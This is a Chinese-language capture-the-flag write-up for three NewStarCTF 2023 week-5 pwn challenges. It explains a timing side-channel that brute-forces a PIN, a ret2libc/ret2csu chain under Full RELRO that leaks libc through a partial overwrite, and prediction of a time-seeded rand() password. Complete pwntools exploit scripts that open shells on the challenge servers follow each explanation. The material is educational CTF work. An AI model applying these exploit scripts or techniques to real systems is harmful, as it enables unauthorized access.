# newstarctf2023 week5

# login

brop 侧信道攻击

存在栈溢出,但是有 canary。

输入时可以用空格等空字符分隔输入,所以输入函数用的是 scanf,scanf 会在输入字符串后面自动添加 '\0' ,所以无法爆破 canary。于是也没办法用栈溢出了。

考虑过通过大量溢出覆盖栈高处的 TLS(Thread Local Storage)存储的 canary 值,但是好像先因为 scanf 输入字符过多崩溃了

经 Lxxxt 爷指点,发现这道题是 2023 年全国信息安全大赛原题改编。要用的是侧信道攻击法,利用程序判断密码(或 PIN 码)正确与否的时间差来推测正确的密码(或 PIN)码。

# 原理

程序有 3 个功能:

  1. 输入密码登陆系统
  2. 注册账号,但是该功能是没用的。
  3. 重置密码,输入 PIN6 位验证码。

其中输入密码和输入 PIN 码都是使用字符串输入,而如果程序使用的判断正确与否的逻辑是,“若第 i 位不正确,直接跳出,否则继续判断 i+1 位”,那么,在前 i-1 位正确的情况下,第 i 位为错误返回的时间应该比第 i 位为正确返回的时间快。利用这段时间可以 “逐位” 爆破密码。

因为 PIN 确定一定为 6 位数字,所以从爆破 PIN 入手。前提还有 PIN 码每次调用重置密码功能时不会重置。

利用脚本爆破。

# 过程

6 位 PIN 码,从第一位开始 0~9 测试,后面 5 位直接置 0。每次输入时记下开始时间,收到内容后记下结束时间,算出时间差。为减小因网络因素等产生的误差,每个数字测试 10 次取平均值,平均时间差最长的即为该位正确值。由此类推继续爆破后面 5 位。

如果中途返回的字符串不含 "Wrong code!" ,则说明已经爆破到正确的 PIN 码了。此时跳出爆破循环进入后续操作。

输入正确的 PIN 码后,获得修改密码的机会。修改密码后在登陆功能处输入密码,即可 getshell。

image-20231031224129185

#!/usr/bin/python3
from pwn import *
from sys import argv
context(os='linux',arch='amd64')
#context.log_level='debug'
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def ru(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def getpin(pin):
	subtime = -1
	res =''
	for c in a:
		pin_o = pin+c+'0'*(5-len(pin))
		sum=0
		for _ in range(10):
			ru('>')
			sl(b'3')
			ru(b"Input code:")
			start=time.time()
			sl(pin_o)
			rev=p.recv(19)
			if b"Wrong code!" in rev:
				pass
			else:
				print(pin_o)
				p.interactive()
				break
			end=time.time()
			sum+=(end-start)
		print(pin_o,sum)
		avgtime=sum
		if(avgtime>subtime):
			subtime=avgtime
			res=c
	return res
a='0123456789'
p= remote("node4.buuoj.cn",27984)
pin=''
for i in range(6):
	pin+=getpin(pin)
	print("PIN:",pin)
#后面没用了 懒得写跳转
sl(b"123456")
ru(b'>')
sl(b'2')
p.interactive()

# no_ouput

full_RELRO ret2libc

这道题开了 Full RELRO 保护,got 表一开始就已经填完并且只读了。但是没有开 PIE,要利用程序本身已有的代码还是很方便的。

image-20231031224624377

同时,程序没有输出函数,got 表只有 read 和 setvbuf。主程序中 read 函数可以进行栈溢出。

image-20231031224856598 image-20231031224746063

# 漏洞

主函数在执行 read 函数后,将 read 函数的真实地址赋给了名为 a 的全局变量。这时候,虽然没有输出函数,但因为 write 函数和 read 函数在 libc 中相邻很近,我们便可以通过只修改 a 的最低两位,然后跳到 write 函数,利用其泄露 libc 地址。

image-20231031224806243 image-20231031224829366

# 利用

首先栈溢出,返回到 read 函数,设置写入位置为 a 的地址。真实地址低 3 位固定,第 4 位随机,所以需要爆破。

随后利用 csu 调用 a 处储存的地址,以及配置相关参数。这里便是调用 write 函数,输出的内容为 a,即为 write 的真实地址,然后返回 main 函数。

利用 write 地址算出 system 地址和 "/bin/sh" 地址,再次溢出,getshell。

image-20231031230042309

#!/usr/bin/python3
from pwn import *
context(log_level='debug',arch='amd64')
mode = 0
if (len(sys.argv)>1):
    mode = int(sys.argv[1])
if mode == 0:
    libc=ELF('./libc-2.31.so')
    e = ELF('./pwn')
else:
    libc=ELF('/glibc-all-in-one/2.31-0ubuntu9.7_amd64/libc.so.6')
    e = ELF('./pwn_pe')
write_la = libc.sym['write']
offset = 0x070 + 8
main_a = e.sym['main']
read_p = e.plt['read']
prdi = 0x0401253
rsi_r15 = 0x401251
ret = 0x040101a
target = 0x404050
csu_front_addr = 0x0401230
csu_end_addr = 0x040124a
def csu(rbx, rbp, r12, r13, r14, r15):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r15 should be the function we want to call
    # rdi=edi=r12d
    # rsi=r13
    # rdx=r14
    payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += b'a' * 0x38
    return payload
by=0 
while(by<0x100):
    if mode == 0:
        p=remote('node4.buuoj.cn',26547)
    else:
        p=process('./pwn_pe')
    payload = offset * b'a' + p64(rsi_r15)  + p64(target) + p64(0) + p64(read_p) 
    payload += csu(0,1,1,target,0x10,target) + p64(main_a)
    p.send(payload)
    
    if mode==3:
        input('pause')
    else:
        sleep(0.02)
    
    try:
        payload = p8(write_la&0xff) + p8(by)
        p.send(payload)
        write_a = u64(p.recvuntil(b'\x7f').ljust(8,b'\0'))
        print('\n\n[+] the write addrees is %#x'%write_a)
        break
    except:
        p.close()
        by+=1
if (mode==2):
    gdb.attach(p,'b read')
libcbase = write_a - libc.sym['write']
sys_a = libcbase + libc.sym['system']
bs_a = libcbase + next(libc.search(b'/bin/sh'))
payload = b'a'*offset + p64(prdi) + p64(bs_a) + p64(ret) + p64(sys_a)
p.send(payload)
p.interactive()

# planet

random cdll

# 分析

程序大概是一个模拟星际旅行的程序。其中,星球之间利用链表管理。有个类似菜单的功能函数,其中包括后门函数。星球名称和后门函数的验证密码均用随机数模 26 然后从字母表中选值。

image-20231031230422500

# 利用

与 week1 的 random 思路相同。

程序利用 time(0) 作为随机数种子,因此利用 cdll 库函数,在程序执行 srand(time(0)) 时同步执行,即可获得与之相同的随机种子。

先生成 11*5=55 个随机数,对应 11 课星球的名称。然后接下来的 30 位即为后门函数的密码。调用后门函数,输入计算出来的密码,直接 getshell。

image-20231031231206354

#!/usr/bin/python3
from pwn import *
from ctypes import *
context(log_level='debug')
e=ELF('./pwn')
#p=process('./pwn')
e=cdll.LoadLibrary('libc.so.6')
p=remote('node4.buuoj.cn',29021)
#gdb.attach(p, 'b ')
password = b'secret_passwd_anti_bad_guys'
p.sendlineafter(b'Passwd: ',password)
e.srand(e.time(0))
for i in range(5*11):
    e.rand()
p.recvuntil(b'What is your next move? (Help)\n>')
p.sendline(b'Admin')
payload = b''
for i in range(30):
    payload += chr(97+(e.rand()%26)).encode()
p.recvuntil(b'Insert the secret passwd\n> ')
print('the passwd is: ' + payload.decode())
p.sendline(payload)
p.recvuntil(b'The command to exec\n> ')
p.sendline(b'/bin/sh\0')
p.interactive()